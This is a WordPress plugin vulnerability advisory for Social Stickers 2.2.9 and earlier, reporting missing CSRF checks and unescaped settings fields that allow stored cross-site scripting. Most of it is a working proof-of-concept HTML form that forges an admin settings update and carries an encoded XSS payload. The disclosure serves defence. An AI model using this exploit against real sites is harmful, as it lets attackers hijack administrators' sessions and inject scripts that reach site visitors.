WordPress Plugin Vulnerabilities

Social Stickers <= 2.2.9 - Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF checks in place when updating its Social Network settings, and does not escape some of these fields, which could allow attackers to make a logged-in admin change them and lead to Stored Cross-Site Scripting issues.

Proof of Concept

<html>
<body>
<script>history.pushState('', '', '/')</script>

<form action="http://localhost/wordpress/wp-admin/options-general.php?page=social-
stickers%2Fsocial-stickers.php&tab=social_networks" method="POST">

<input type="hidden" name="aim" value="" />

<input type="hidden" name="behance"
value="hello&#32;&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;9
&#41;&gt;" />
<input type="hidden" name="bebo" value="" />
<input type="hidden" name="blogger" value="" />
<input type="hidden" name="delicious" value="" />
<input type="hidden" name="designfloat" value="" />
<input type="hidden" name="deviantart" value="" />
<input type="hidden" name="digg" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="flickr" value="" />
<input type="hidden" name="facebook" value="" />
<input type="hidden" name="googleplus" value="" />
<input type="hidden" name="lastfm" value="" />
<input type="hidden" name="linkedin" value="" />
<input type="hidden" name="myspace" value="" />
<input type="hidden" name="newsvine" value="" />
<input type="hidden" name="picasa" value="" />
<input type="hidden" name="posterous" value="" />
<input type="hidden" name="rss" value="" />
<input type="hidden" name="qik" value="" />
<input type="hidden" name="slashdot" value="" />
<input type="hidden" name="skype" value="" />
<input type="hidden" name="stumbleupon" value="" />
<input type="hidden" name="tumblr" value="" />
<input type="hidden" name="twitter" value="" />
<input type="hidden" name="vimeo" value="" />
<input type="hidden" name="youtube" value="" />
<input type="hidden" name="wordpress" value="" />
<input type="hidden" name="Submit" value="Update&#32;usernames" />
<input type="hidden" name="social&#45;stickers&#45;settings&#45;submit" value="Y" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>